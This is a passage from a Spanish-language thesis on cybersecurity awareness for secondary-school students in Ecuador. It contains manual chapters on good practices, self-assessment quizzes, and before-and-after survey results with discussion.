Sustraccion de Credenciales

Nota. Imagen adaptada de Vecteezy

Son debilidades que pueden ser explotadas por atacantes para comprometer la seguridad de un
sistema, lo que conlleva a la necesidad de mantener el software actualizado y a la aplicacion de
parches de seguridad de manera regular para reducir este tipo de riesgos y sus consecuencias. Un
ejemplo de vulnerabilidad es la sustraccion de credenciales como se observa en la Figura 36 que
el atacante se hace pasar por una persona o pagina legitima con el objetivo de engafiar a la victima
y obtener informacién de acceso. Para garantizar su seguridad, considere seguir los siguientes

pasos:

1. Identificar phishing: Analizar correos de dudosa procedencia, buscar sefiales como
errores ortograficos y direcciones sospechosas o incorrectas.
2. Prepararse para ransomware: Realizar copias de seguridad de sus archivos y practica

restaurarlos desde la copia en caso de un ataque.



132

3. Seguridad en Wi-Fi: Cambiar la contrasefia de tu red Wi-Fi a una mas segura y verificar

que esté protegida con WPA2 o WPA3.

Actividad: Revise en su dispositivo movil y verifique que todas sus aplicaciones se encuentren
actualizadas, no olvide reconocer si existe una nueva version para tu Android o parche de

seguridad. El dispositivo siempre debera estar recibiendo actualizaciones y parches de seguridad.

Preguntas de Autoevaluacion

Esta seccion busca fortalecer el conocimiento sobre ciberseguridad al relacionar términos
clave con sus definiciones. Mediante esta actividad, los estudiantes podran identificar y diferenciar
las principales amenazas digitales, mejorando su comprension sobre los riesgos y su impacto en la

seguridad informatica.
Enlaza correctamente los conceptos con sus definiciones:
Malware a) Enviar mensajes o correos falsos para engafiar a las

personas y obtener informacion privada.

Phishing b) Errores o fallos en programas que pueden ser
aprovechados por atacantes para causar dafio.

Ataque DDoS ¢) Programas maliciosos como virus o ransomware disefiados
para causar dafio.

Vulnerabilidades d) Ataque masivo desde multiples dispositivos que busca
bloquear el funcionamiento de un servidor.
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III.  Capitulo 3: Buenas practicas y medidas de seguridad

Contrasefias seguras

El uso de contrasenas robustas es esencial para garantizar la proteccion de cuenta y
dispositivos. Para lograrlo, es recomendable que las claves tengan al menos 12 caracteres e
incluyan una combinacion de letras mayusculas, minusculas, nimeros y simbolos especiales, 1o
que dificulta su descifrado mediante ataques de fuerza bruta. Ademas, no se deben reutilizar
contrasefias en multiples servidores, ya que, si uno de estos servidores se ve comprometido, el
resto de las cuentas también estarian en riesgo. El implemento de un gestor de contrasenas facilita
la generacion y el almacenamiento seguro de credenciales sin necesidad de recordarlas
manualmente. Asimismo, la autenticacion multifactor (MFA) agrega una capa adicional de

seguridad, reduciendo significativamente la posibilidad de accesos no autorizados.

Actualizaciones y parches de software

Mantener los sistemas actualizados es una medida fundamental para mitigar
vulnerabilidades que pueden ser explotadas por atacantes. Los desarrolladores publican parches de
seguridad de manera periddica para corregir fallos en el software, por lo que es crucial activar las
actualizaciones automaticas siempre que sea posible. En entornos empresariales o educativos, es
recomendable contar con un sistema centralizado de gestion de actualizaciones que garantice la
implementacion oportuna de estos parches. Asimismo, antes de actualizar cualquier aplicacion o
sistema operativo, se debe verificar la autenticidad de las fuentes para evitar la instalacion de

softwares maliciosos que pueden comprometer la integridad de los dispositivos.
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Uso de antivirus y firewalls

Implementar soluciones de seguridad como antivirus y firewalls es fundamental para la
proteccion de dispositivos y redes contra amenazas cibernéticas. El antivirus permite detectar,
bloquear y eliminar softwares maliciosos, mientras que el firewall actia como una barrera que
regula el trafico de datos, evitando accesos no autorizados. Para garantizar su efectividad, es
crucial mantener estas herramientas siempre activas y actualizadas, ya que las amenazas
evolucionan constantemente y requieren medidas de defensa adaptadas a los nuevos riesgos.
Ademas, de complementar estas soluciones con buenas practicas, como evitar descargas de fuentes
desconocidas y no abrir archivos sospechosos; refuerza la seguridad y reduce la posibilidad de

incidentes.

Copias de seguridad y recuperacion de datos

Para garantizar la integridad y disponibilidad de la informacion en entornos criticos, es
fundamental implementar una estrategia de copias de seguridad basada en principios de
redundancia y resiliencia. Se recomienda realizar copias de seguridad de forma periddica,
siguiendo una politica estructurada que asegure la proteccion de los datos mas relevantes. Ademas,
estas copias deben almacenarse en ubicaciones seguras, utilizando medios fisicos y en la nube para
evitar pérdidas catastroficas ante fallos o ataques cibernéticos. Es esencial validar regularmente la
integridad de las copias mediante pruebas de recuperacion, asegurando que los procedimientos de

restauracion sean eficientes y minimicen el impacto en la operacion del sistema.

Para garantizar su seguridad, considere estos pasos.
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1. Configurar privacidad en redes sociales: Revisar y ajustar las opciones de privacidad
en sus cuentas de redes sociales para controlar quién puede ver su informacion personal y
sus publicaciones.

2. Actualizar software y aplicaciones: Verificar si hay actualizaciones pendientes en sur
dispositivo. Realizar las actualizaciones necesarias para mantener su sistema protegido.

3. Uso de autenticacion en dos pasos: Habilitar la verificacion en dos pasos en al menos una
de sus cuentas (correo, redes sociales, etc.) para afiadir una capa extra de seguridad.

4. Evitar compartir contrasefias: Experimenta no compartir contrasefias con nadie. Si existe
la necesidad de compartir el acceso, usa un administrador de contrasefas para hacerlo de

forma segura.

Ejercicio Practico

Actividad: Descargue e interactlie con la aplicacion (Passwor Generator) que se muestra

en la Figura 37 para generar contrasefias seguras, procura que sea de la tienda oficial.

Figura 37

Aplicacion Password Generator

Nota. Icono de la aplicacion Password Generator acompariado de su QR para descarga
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IV.  Capitulo 4: Herramientas y tecnologias de ciberseguridad

Software Malicioso

El software malicioso puede evitarse mediante el uso de herramientas de seguridad como
antivirus, antispyware y otras soluciones especializadas en la deteccion y eliminacion de
amenazas. Para garantizar una proteccion eficaz, es fundamental implementar multiples capas de
seguridad, ya que una defensa integral reduce significativamente el riesgo de infeccion y protege

la informacidén del usuario.

Tecnologias de Encriptacion

Figura 38

Proteccion de la Informacion

Nota. Adaptado de CL-CO Tech

La encriptacion, también conocida como proteccion de la informacion digital, es un
proceso que convierte los datos en un formato cifrado, permitiendo que solo puedan ser leidos por
quienes poseen la clave de desencriptacion, Un claro ejemplo es la Figura 38 en la que

contemplamos como varios datos personales se encriptan por una clave. Esta tecnologia es
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fundamental para garantizar la seguridad de la informacion confidencial, tanto durante su
transmision como en su almacenamiento, protegiéndola de accesos no autorizados y posibles

ataques cibernéticos.

Redes virtuales privadas (VPN)

Las redes privadas virtuales (VPN) es un proceso que protege los datos transmitidos a
través de redes publicas como se analiza en la Figura 39, evitando que terceros accedan a la
informacion personal. Su uso es especialmente importante, ya que reduce el riesgo de

intercepciones y ciberataques.

Figura 39

Redes Virtuales Privadas

Nota. Adaptado de LinkedIn

Sistemas de Deteccion y Prevencion de Intrusos (IDS/IPS)

Los Sistemas de Deteccion y Prevencion de Intrusos (IDS/IPS) monitorean el trafico de

red en busca de actividades sospechosas. No solo detectando amenazas potenciales, sino que
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también pueden bloquear ataques en tiempo real, fortaleciendo la seguridad del entorno digital. Su
implementacion es esencial en redes grandes y complejas, donde la proteccion proactiva es clave

para prevenir accesos no autorizados y ciberataques.

Para garantizar su seguridad, considere seguir estos pasos:

1. Explorar antivirus: Instale y ejecute un analisis rapido con un software antivirus gratuito
o de prueba para detectar amenazas.

2. Usar un gestor de contraseiias: Configure una cuenta en un gestor de contrasefias y
guarde al menos tres contraseias importantes.

3. Probar una VPN: Descargue una VPN gratuito o de prueba, activale y conéctese a una
red Wi-Fi publica para que asi experimente como protege tu conexion.

4. Bloqueo de aplicaciones: Configure una herramienta de bloqueo o control parental en un
dispositivo para proteger informacion sensible.

5. Conocer herramientas de navegacion segura: Instale una extension en su navegador que
bloquee sitios web maliciosos o rastreadores (por ejemplo, HTTPS Everywhere o Privacy

Badger).

Ejercicio Practico

Actividad: Configure y Descargue una aplicacion VPN tal como se muestra el icono en la
Figura 40 A y B en su dispositivo de manera gratuita y si tiene la oportunidad pruebe una de pago,

observe las diferencias y verifique cual es mejor.
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Figura 40

Icono de aplicaciones VPN

VPN

Nota Icono de las aplicaciones. A)NordVPN; B)ExpressVPN disponible en la tienda de
aplicaciones

Preguntas de autoevaluacion

Las preguntas de autoevaluacion tienen como finalidad reforzar el aprendizaje y la
comprension de los conceptos clave en seguridad informética. A través de estas actividades, los
participantes pueden evaluar su nivel de conocimiento, identificar dreas de mejora y consolidar
informacion relevante sobre software de seguridad, uso de VPN y tecnologias de encriptacion.
Ademas, permiten fomentar la reflexion sobre buenas practicas y fortalecer la toma de decisiones

informadas en la proteccion de datos y redes.

1. (;Qué tipos de software de seguridad existen?
a) Antivirus, cortafuegos y antimalware.
b) Editores de fotografias y reproductores de video.
c) Navegadores de Internet y aplicaciones de redes sociales.
2. (;Qué es una VPN y para qué sirve?
a) Es una red que conecta dispositivos cercanos via Bluetooth.
b) Es un servicio que cifra su conexion a Internet y oculta su direccion IP.

c) Es una herramienta para bloquear anuncios en los navegadores.



d) Es un programa que aumenta la velocidad de tu conexion a internet.

3. (Qué son las Tecnologias de Encriptacion?
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V. Capitulo 5: Normativas y regulaciones

Leyes y regulaciones sobre
ciberseguridad Las leyes y regulaciones en
ciberseguridad son supervisadas por
autoridades y especialistas en seguridad
digital. Aunque estas normativas varian
segun el pais, su objetivo principal es

proteger la privacidad y la seguridad de los

datos frente a amenazas cibernéticas.

Politicas de seguridad en instituciones
educativas

Las instituciones educativas deben tener
politicas claras de ciberseguridad que
incluyan directrices sobre el uso de
dispositivos, acceso a redes y manejo de
datos personales. Estas politicas deben ser

revisadas y actualizadas regularmente.

Responsabilidades legales y éticas

Ademas de las leyes, existen responsabilidades éticas en el manejo de datos. Esto incluye

la obligacion de proteger la privacidad de los estudiantes y asegurarse de que los datos

no sean utilizados de manera indebida.
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Para garantizar su seguridad, considere seguir estos pasos:

1. Investigar leyes locales: Buscar informacion sobre una ley de ciberseguridad en el
Ecuador (como proteccion de datos personales) y compartir en clase.

2. Crear un cédigo de conducta digital: Disefiar un conjunto de reglas para usar internet de
manera ética y segura, aplicandolas en su grupo de amigos.

3. Entender términos legales: Identificar y definir conceptos clave como "privacidad",
"datos sensibles" y "uso responsable" en normativas de ciberseguridad.

4. Simular un caso practico: Analizar un caso ficticio donde alguien viola una ley de

ciberseguridad. Discutir las posibles sanciones y como prevenirlo.

Ejercicio Practico

Actividad: Revisar e indagar las politicas de seguridad informatica en Ecuador para
mantenerse informado y comprender las responsabilidades y el manejo de la informacién en el
pais.

Preguntas de Autoevaluacion

Estas actividades tienen como finalidad promover la comprension de la importancia de la
ciberseguridad y la ética digital en diferentes ambitos. A través del andlisis de las leyes de
ciberseguridad, se busca concienciar sobre la proteccion de la informacion y las sanciones contra
delitos informaticos. Asimismo, al abordar las politicas de seguridad en instituciones educativas,
se enfatiza la necesidad de establecer medidas que resguarden los datos personales y el uso
responsable de la tecnologia. Finalmente, la asociacion de responsabilidades éticas con sus
definiciones refuerza la importancia de la confidencialidad y la transparencia en el manejo de la

informacion, fomentando practicas seguras y responsables en el entorno digital.
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1. ;Por qué son importantes las leyes de ciberseguridad?
a) Proteger la informacion personal y sensible de los usuarios.
b) Facilita la descarga de software gratuito sin restricciones.
c) Establecer sanciones para quienes cometan delitos informaticos.

d) Garantiza que los usuarios puedan navegar sin preocuparse por las amenazas.

2. ;Qué debe incluir una politica de seguridad en una institucion educativa?
a) Definicion de contrasefias seguras para todos los usuarios.
b) Restricciones de acceso a las redes sociales en el colegio.
c) Protocolos de proteccion de datos personales y de los estudiantes.

d) Permiso para instalar cualquier software en dispositivos escolares.

3. Entrelazar responsabilidades éticas con su correspondiente descripcion:
Confidencialidad Solicitar permiso antes de utilizar los datos
de una persona.
Transparencia Garantizar que la informacion personal no

sea divulgada sin autorizacion.
,Qué hacer en caso de un ataque o vulnerabilidad?

Si cree que usted ha sido victima de un ataque de pirateria o sabe que su informacion esta
en riesgo, no se preocupe. Es importante actuar rapidamente, consulte con un especialista en
ciberseguridad. Pueden ayudarle a analizar la situacion, proteger sus datos y recuperar el control
de sus cuentas. Ademas, puedes reportar la incidencia a: israel98 erazo@hotmail.es o al nimero

(+593) 96 3624 563, donde recibira orientacion y apoyo inmediatamente.
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iRecuerda no esta solo!

V1. Conclusion

La ciberseguridad es una disciplina esencial en la era digital. Proteger los sistemas y datos
es crucial para el bienestar personal y académico de los estudiantes de educacion media superior.
Este manual ha proporcionado una guia completa sobre conceptos basicos, amenazas, medidas de
seguridad, herramientas tecnologicas, normativas y casos practicos. Esperamos que los
conocimientos adquiridos a través de este manual se apliquen en la vida diaria para mantener un

entorno seguro y protegido.
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4.3 Resultados posteriores a la socializacion de buenas practicas y encuesta final

Corroborar el impacto de estas intervenciones educativas requiere aplicar una segunda
encuesta, cuyo contenido se encuentra en el Anexo 4. Esta nueva recopilacion de datos evalua los
avances logrados tras implementar las estrategias del proyecto de ciberseguridad. En este proceso,
se diagnostican los conocimientos adquiridos por los estudiantes después de socializar y aplicar el
Manual de Buenas Practicas de Ciberseguridad. Ademas, comparar los resultados de ambas
encuestas permite cuantificar el nivel de conocimiento adquirido tras la capacitacion en
ciberseguridad.

Uno de los hallazgos mas significativos es el incremento del nivel de conocimiento de los
estudiantes sobre hacking ético y practicas de ciberseguridad, como se muestra en el Anexo 6.
Mientras que en la primera encuesta la mayoria de los participantes manifestaba un conocimiento
nulo o limitado sobre estos temas, los resultados finales demuestran que un alto porcentaje no solo
se familiariz6 con los conceptos, sino que también mostro interés en aplicarlos en sus dispositivos

personales.

La correlaciéon entre ambas encuestas confirma que las estrategias educativas
implementadas generan un efecto positivo en la percepcién y comprension de la ciberseguridad.
Los datos reflejan como la curiosidad inicial se transforma en un compromiso activo por adoptar
medidas de proteccion digital, lo que representa un avance significativo en la construccion de una
cultura de seguridad dentro de la institucion.

El Anexo 5 incluye tablas de resumen detalladas que visualizan los resultados mas
relevantes, de modo que los graficos presentados a continuacion evidencian el aumento en el nivel

de conocimiento sobre ciberseguridad y hacking ético entre los estudiantes de educacion media
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superior. En este apartado, se analizan los datos resultantes de cada pregunta de la encuesta,
demostrando su utilidad como herramientas clave para mejorar la gestion de seguridad en
dispositivos moviles.

a) Pregunta 1: ;Qué tanto sabes sobre Ciberseguridad?

Los resultados de la primera pregunta denotan que el 27% de los encuestados reporta un
nivel alto de conocimiento sobre ciberseguridad, mientras que el 38% se ubica en un nivel medio
y el 35% en un nivel bajo, como se muestra en la Figura 41. Esto indica que mas de la mitad de
los participantes posee al menos un conocimiento basico o intermedio en la materia. Sin embargo,
la proporcion considerable de encuestados con un nivel bajo evidencia la necesidad de reforzar las
estrategias educativas para mejorar la comprension de este tema. La tabulacion detallada de esta

pregunta se encuentra en la Tabla 25 del Anexo 5.

Figura 41

Grdfico de porcentaje de la primera pregunta de la encuesta final

¢Qué tanto sabes sobre Ciberseguridad?

= ALTO = MEDIO = BAJO
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b) Pregunta 2: ;Actualmente cuales son las medidas de ciberseguridad para tus

dispositivos moviles?

Los resultados de la segunda pregunta indican que las medidas de ciberseguridad mas
adoptadas por los encuestados son el uso de contrasefias, PIN o patrén de bloqueo, asi como evitar
conectarse a redes Wi-Fi publicas, ambas con 109 respuestas, como se muestra en la Figura 47.
Mantener el celular y las aplicaciones actualizadas fue seleccionado por 78 participantes, mientras
que 76 encuestados indicaron que descargan aplicaciones de fuentes desconocidas. Estos datos
reflejan que los participantes poseen un conocimiento moderado sobre las practicas bésicas de
proteccion, pero también evidencian areas de mejora en su formacion sobre ciberseguridad.

En la Tabla 26, ubicada en el Anexo 5, se presenta la tabulacion detallada de esta pregunta.
Es importante sefialar que los valores en la Figura 42 superan el total de la muestra encuestada, ya
que esta pregunta permitia seleccion multiple. Esto significa que cada participante pudo elegir mas
de una medida de ciberseguridad para sus dispositivos moviles, lo que explica el nimero total de

respuestas registradas.
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Figura 42

Porcentaje de la segunda pregunta sobre las medidas de ciberseguridad en los celulares

éActualmente cuales son las medidas de ciberseguridad
para tus dispositivos moviles?

B Uso de contrasefia, PIN o patréon de bloqueo
B Mantengo el celular y las aplicaciones actualizadas.
M Evito conectarme a redes Wi-Fi publicas

No descargo aplicaciones de paginas desconocidas.

¢) Pregunta 3: ;Cuando instalas una aplicacion para tu dispositivo movil, validas o

verificas la fuente y los permisos de la aplicacion?

Los resultados de la pregunta sobre la verificacion de fuentes y permisos antes de instalar
aplicaciones, como se ilustra en la Figura 43, muestran que el 45% de los encuestados verifica
estas medidas, mientras que el 55% no lo hace. Este hallazgo subraya un desequilibrio
significativo, ya que mas de la mitad de los participantes podria estar expuesta a riesgos
innecesarios al instalar aplicaciones sin una validacion previa. Es esencial promover la practica de
verificacion como un hdbito comun para aumentar la seguridad de los dispositivos. La tabulacion

detallada de esta pregunta se encuentra en la Tabla 27 del Anexo 5.
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Figura 43

Grdfico de porcentaje de la tercera pregunta sobre buenas practicas de ciberseguridad

éCuando instalas una aplicacién para tu dispositivo movil,
validas o verificas la fuente y los permisos de la aplicacion?

u S| =NO

d) Pregunta 4: ;Sabes identificar una red Wi-Fi insegura?

Los resultados de la cuarta pregunta revelan que, segiin lo mostrado en la Figura 44, solo
el 12% de los encuestados sabe identificar y evitar conectarse a redes Wi-Fi inseguras, mientras
que el 11% puede reconocerlas, pero se conecta si es necesario. Un 37% no estd seguro de como
identificar estas redes y el 40% declar6 no saber hacerlo. Estos datos reflejan un conocimiento
limitado sobre la identificacion de riesgos asociados a redes Wi-Fi, lo que resalta la necesidad de
una mayor educacion sobre como evaluar y evitar amenazas en conexiones publicas. La tabulacion

detallada de los resultados de esta pregunta se encuentra en la Tabla 28 del Anexo 5.
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Figura 44

Grdfico de porcentaje de la cuarta pregunta sobre wifi inseguro

éSabes identificar una red Wifi Insegura?

A

= Si, y evito conectarme a ellas.
= Si, pero me conecto si es necesario.
= No estoy seguro/a de como identificar una red insegura.

= No, no sé cémo hacerlo.

e) Pregunta 5: ;Con qué frecuencia realizas copias de seguridad de tus archivos y

datos importantes?

Segun los resultados de la quinta pregunta, como se muestra en la Figura 44, solo el 7% de
los encuestados realiza copias de seguridad de manera regular, mientras que el 44% lo hace
ocasionalmente. El 39% respalda sus datos inicamente al cambiar de dispositivo, y el 10% nunca
realiza copias de seguridad. Estos datos reflejan que, aunque una proporcién significativa realiza
copias de seguridad, las précticas actuales no son suficientes para garantizar una proteccion
adecuada. La tabulacion detallada de las respuestas de esta pregunta se encuentra en la Tabla 29

del Anexo 5.
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Figura 45

Grdfico de resultados de la quinta pregunta sobre copias de seguridad.

éCon qué frecuencia realizas copias de seguridad de tus
archivos y datos importantes?

m Regularmente = Ocasionalmente = Solo cuando cambio de dispositivo. = Nunca.

f) Pregunta 6: ;Qué tan importante consideras la publicacion de datos que
comprometen tu privacidad?
Los resultados de la sexta pregunta, segin lo ilustrado en la Figura 45, muestran que el
44% de los encuestados considera que proteger su privacidad es altamente importante, el 33% lo
califica como de importancia media y el 23% lo ve como de baja importancia. Aunque la mayoria
reconoce la relevancia de salvaguardar su privacidad, una proporcion significativa de estudiantes
no percibe con suficiente gravedad la amenaza asociada a la divulgacion de datos sensibles en sus
dispositivos moéviles. La tabulacion de los resultados de esta pregunta se encuentra en la Tabla 30

del Anexo 5.
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Figura 46

Grdfico de porcentaje de la sexta pregunta sobre la privacidad

éQué tan importante consideras la publicacion de datos
gue comprometen tu privacidad?

= ALTO = MEDIO = BAJO

g) Pregunta 7: Sabiendo que un cédigo QR malicioso podria clonar tu dispositivo o
robar tu informacion personal, ;estarias dispuesto/a escanearlo sin utilizar una
aplicacion que detecte codigos QR falsos?

Los resultados de la séptima pregunta, como se muestra en la Figura 46, revelan que el 80%

de los encuestados no escanearia un cddigo QR sin verificarlo previamente, mientras que el 20%
restante estaria dispuesto a hacerlo. Este resultado es positivo, ya que indica una actitud de
precaucion frente a los riesgos asociados con los codigos QR falsos. Sin embargo, aun queda
margen para educar al 20% restante sobre los peligros de escanear codigos QR sin las medidas de
seguridad adecuadas. La tabulacion de los resultados de esta pregunta se encuentra en la Tabla 31

del Anexo 5.
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Figura 47

Grdfico de porcentaje de la séptima pregunta sobre deteccion de QR

éSabiendo que un cddigo QR malicioso podria clonar tu
dispositivo o robar tu informacién personal, ¢ estarias
dispuesto/a escanearlo sin utilizar una aplicacién que
detecte codigos QR falsos?

u S| =NO

h) Pregunta 8: ;Una vez que conoces las herramientas de analisis de trafico, ;qué tan

probable es que utilices estas herramientas para los dispositivos?

Los resultados de la octava pregunta, como se muestra en la Figura 47, revelan que el 41%
de los encuestados considera muy probable utilizar herramientas de anélisis de trafico, mientras
que el 23% lo ve como probable. Un 31% indic6 que es poco probable que lo hagan y el 5% afirm¢é
que no lo utilizaria. Estos resultados reflejan un interés positivo por las herramientas avanzadas de
analisis de trafico, lo que sugiere una motivacion de los estudiantes para conocer y dar un uso
adecuado a estas herramientas. La tabulacion de las respuestas de esta pregunta se encuentra en la

Tabla 32 del Anexo 5.
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Figura 48

Grdfico de porcentaje de la octava pregunta sobre herramientas de andlisis de trdfico.

éUna vez que conoces las herramientas de analisis de
Trafico que tan probable es que utilices estas herramientas
para los dispositivos?

= Muy probable = Probable Poco probable = Nada probable

i) Pregunta 9: ;Ahora que conoces las medidas de proteccion de ciberseguridad,
Jcompartes con amigos o familiares para ayudarlos a protegerse?
Los resultados de la novena pregunta, como se muestra en la Figura 48, revelan que el 40%
de los encuestados comparte regularmente informacion sobre ciberseguridad, mientras que el 52%
lo hace ocasionalmente o algunas veces, y el 8% nunca lo hace. Este dato indica que la mayoria
de los participantes adopta un enfoque colaborativo, lo cual es positivo, pero también sugiere que
hay una oportunidad para ampliar este comportamiento mediante estrategias que fortalezcan la
comunicacion de buenas practicas en ciberseguridad con compafieros y familiares. La tabulacion

de los resultados de esta pregunta se encuentra en la Tabla 33 del Anexo 5.



154

Figura 49

Grdfico de porcentaje novena pregunta sobre compartir buenas practicas de ciberseguridad

éAhora que conoces las medidas de proteccion de
ciberseguridad compartes con amigos o familiares para
ayudarlos a protegerse?

= Siempre = A veces Nunca

j) Pregunta 10: ;Estarias interesado en aprender mas sobre técnicas avanzadas de

ciberseguridad, como hacking ético?

Los resultados de la décima pregunta, como se muestra en la Figura 49, indican que el 82%
de los encuestados esta interesado en aprender mas sobre técnicas avanzadas de ciberseguridad,
como el hacking ético, mientras que el 18% no muestra interés. Este dato resalta un gran
entusiasmo por adquirir conocimientos mas profundos en este campo, lo que ofrece una
oportunidad para promover capacitaciones especializadas y sesiones de socializacion de
informacion con los estudiantes. La tabulacion de los resultados de esta pregunta se encuentra en

la Tabla 34 del Anexo 5.
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Figura 50

Grdfico de porcentaje decima pregunta sobre interés al Hacking Etico

éEstarias interesado en aprender mas sobre
técnicas avanzadas de ciberseguridad, como
hacking ético?

=S| = NO

Los resultados obtenidos no solo validan la efectividad de las acciones implementadas, sino
que también proporcionan una base robusta para el disefio y ejecucion de futuras iniciativas de
concientizacion y formacion en ciberseguridad dentro de la institucion. pregunta, como se muestra
en la Figura 50 La experiencia acumulada durante este proceso se establece como un modelo
valioso para otras instituciones educativas que deseen reforzar la seguridad digital entre sus
estudiantes.

Al concluir la tabulacion de ambas encuestas, la Figura 51 ilustra la comparacion entre la
encuesta inicial y la encuesta final aplicada a los estudiantes de la Unidad Educativa 17 de Julio.
Esta comparacion revela el notable progreso de los estudiantes, quienes ahora muestran un mayor
nivel de conocimiento en ciberseguridad, una comprension mas profunda de la importancia de los
datos, una adopcion mas solida de medidas de proteccion y un creciente interés por continuar

aprendiendo sobre seguridad digital. Estos avances reflejan el impacto positivo y duradero de las
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acciones implementadas, consolidando el camino hacia una cultura de ciberseguridad més solida

y consciente en la institucion.

Figura 51
Comparacion de Practicas y Conocimiento en Ciberseguridad: Encuesta Inicial vs. Encuesta

Final

Comparacion de resultados de las encuestas

M Enc. Inicial m Enc. Final

81,89%
76,95%
65,02%
59,67% 59,25%
40,74%

20,98%

12,34% .
Conocimiento sobre Importancia de los Datos Medidas de Proteccidn Interés en Aprender Mas

Ciberseguridad Personales (P.5,P.2) (P.10,P.10)

(P.2,P.1) (P.4,P.6)

Los resultados obtenidos evidencian una evolucion significativa en el conocimiento y las
practicas de ciberseguridad entre los estudiantes después de las charlas y la encuesta final. Se
observa un aumento notable en el nivel de conocimiento sobre ciberseguridad, que paso del
12.34% al 65.02%, lo que refleja una comprension mucho mas profunda de los riesgos digitales.
Asimismo, la percepcion de la importancia de los datos personales se increment6 del 59.67% al
76.95%, lo que indica una mayor conciencia sobre la proteccion de la informacion.

La adopcion de medidas de proteccion también experimentd una mejora considerable,

duplicandose del 20.98% al 40.74%, lo que demuestra que més estudiantes ahora implementan
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practicas seguras en sus dispositivos moviles. Finalmente, el interés por seguir aprendiendo sobre
ciberseguridad aument6 del 59.25% al 81.89%, lo que subraya que la educacioén en seguridad
digital no solo ha provocado un cambio en las practicas actuales, sino que ha despertado un interés
continuo por profundizar en el tema. Estos resultados confirman el impacto directo y positivo de
la capacitacion en ciberseguridad, mejorando la preparacion y proteccion digital de los estudiantes
y reduciendo significativamente su vulnerabilidad frente a amenazas cibernéticas.

4.4 Discusion

Durante el primer diagndstico de conocimientos sobre ciberseguridad en los estudiantes de
la Unidad Educativa 17 de Julio, los resultados mostraron deficiencias en el conocimiento sobre
las herramientas y practicas para proteger los datos personales. En contraste, tras la
implementacion del proyecto y las capacitaciones brindadas, se observo una mejora significativa
en las deficiencias encontradas en la primera encuesta. A continuacion, se comparan los principales
hallazgos obtenidos durante el diagnostico de conocimientos, tanto en la fase de planificacion
como en la fase de implementacion del proyecto, lo que permite evidenciar la evolucion del nivel
de conocimiento de los estudiantes en ciberseguridad.

En el diagndstico inicial, el 46% de los encuestados no habia escuchado el término
ciberseguridad, y el 87% tenia pocos o nulos conocimientos sobre el tema. Sin embargo, tras la
implementacion, el 65% de los estudiantes reportd tener conocimientos sobre ciberseguridad, lo
que indica un avance positivo al llenar el vacio de conocimiento en este &mbito. Ademas, el 28%
de los estudiantes menciond que no comparte informacion sensible y usa claves de acceso para
proteger sus datos personales. El 56% reconoci6é que los datos personales son vulnerables a los
ataques informaticos y que deben ser protegidos. Tras las charlas teoricas, el 45% de los

encuestados menciond que usa contrasefias, PIN o patron de bloqueo, ademas de evitar conectarse
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a redes Wi-Fi publicas para proteger sus datos personales. Esto refleja una actitud de cautela y
conciencia sobre la proteccion de sus datos, ya que los estudiantes adoptan las practicas de
ciberseguridad aprendidas durante las sesiones.

En la fase de planificacion, solo el 29% de los encuestados indico usar antivirus o firewall
para proteger sus datos personales. En contraste, en la fase de implementacion, el 55% de los
estudiantes mencioné verificar la fuente y los permisos de las aplicaciones moéviles antes de
instalarlas. Este cambio refleja una mejora significativa en las acciones de los estudiantes, quienes
ahora se aseguran de que las aplicaciones que instalan en sus dispositivos provengan de fuentes
confiables.

Un hallazgo relevante durante la fase de implementacion fue que el 40% de los estudiantes
no sabe como identificar una red Wi-Fi segura, y el 37% no esta seguro de como hacerlo. Este dato
representa una oportunidad para cubrir este vacio de informacion, ya que es crucial aprender a
identificar redes seguras para evitar ataques cibernéticos o el robo de informacidon personal.
Futuros proyectos de investigacion en la proteccion de datos personales podrian centrarse en este
aspecto.

En la fase de planificacion, el 71% de los encuestados menciond no haber sido victima de
ciberataques, mientras que, en la fase de implementacion, el 83% de los encuestados declard
realizar copias de seguridad de sus archivos y datos importantes de forma ocasional. Este cambio
sugiere una mayor percepcion de la importancia de proteger la informacién, lo que podria estar
relacionado con una mejora en la sensibilizacion sobre los riesgos digitales y la adopcion de
medidas preventivas contra posibles ciberataques. Asimismo, el 77% de los estudiantes considero

mediana o altamente importante proteger los datos personales que comprometen su privacidad.
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Durante la fase de planificacion, el 44% de los encuestados menciond haber sido victima
de un ciberataque, y de esos, un porcentaje indicoé que robaron su informacion a través de un enlace
malicioso, correo electronico o mensaje de texto corto. En contraste, durante la fase de
implementacion, el 80% de los estudiantes esta consciente de que los codigos QR maliciosos
pueden ser utilizados para clonar dispositivos y robar informacidon personal, por lo que ahora
estarian dispuestos a usar una aplicacion para identificar cédigos QR falsos. Ademas, el 64% de
los encuestados estd familiarizado con herramientas de analisis de trafico Wi-Fi y considera
probable utilizarlas para proteger sus datos personales.

En cuanto a los resultados generales de la implementacion, antes de esta, el 59% de los
estudiantes estaba interesado en aprender sobre técnicas de proteccion contra ataques cibernéticos.
Después de la capacitacion, el 92% de los encuestados expresd que compartiria esta informacion
con amigos y familiares para ayudarlos a protegerse de ciberataques. Ademas, el 41% de los
estudiantes no estaba familiarizado con herramientas de hacking. Tras la implementacion, el 82%
de los encuestados manifesto interés en aprender técnicas avanzadas de ciberseguridad, como el
hacking ético. Esto demuestra un logro importante en la implementacion del proyecto, ya que se
cumplié el objetivo de fomentar el andlisis de vulnerabilidades y motivar a los estudiantes a
involucrarse activamente en la proteccion de sus datos personales.

Es relevante comparar estos resultados con los de otras experiencias de capacitacion en
ciberseguridad. En un estudio realizado por Pantoja Mejia (2023), se evalud la vulnerabilidad en
ciberseguridad de los laboratorios de computacion de la UTN durante la pandemia. Los hallazgos
mostraron que los participantes tenian un alto nivel de conciencia sobre la proteccion de la
informacion en el entorno informadtico de la universidad. Este resultado contrasta con los obtenidos

en la presente investigacion, ya que nuestra poblacion de estudio consistio en estudiantes de
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educacion media superior, no universitaria. Sin embargo, ambos estudios coinciden en la
importancia de la capacitacion continua en ciberseguridad, lo que permite a los individuos
desarrollar criterios informados para evitar ataques cibernéticos y proteger los datos personales.

Otro estudio realizado por Torres Chavez y Mata Pazmino (2024) evaluo las practicas de
ciberseguridad de los estudiantes universitarios de la Universidad Politécnica Salesiana, sede
Guayaquil. Los hallazgos revelaron que muchos estudiantes desconocen las buenas practicas de
ciberseguridad, especialmente en la gestion de contrasefias. Los autores sugirieron implementar
programas de capacitacion para promover un acceso seguro a los servicios digitales del campus.
Los resultados de su investigacion son similares a los obtenidos en este estudio, pues también se
evidencid una falta de informacion en cuanto a la gestion de contrasefias y una alta vulnerabilidad
a sufrir ataques cibernéticos debido a la falta de capacitacion.

Finalmente, Alvarez et al. (2024) propusieron un plan de capacitacion en ciberseguridad
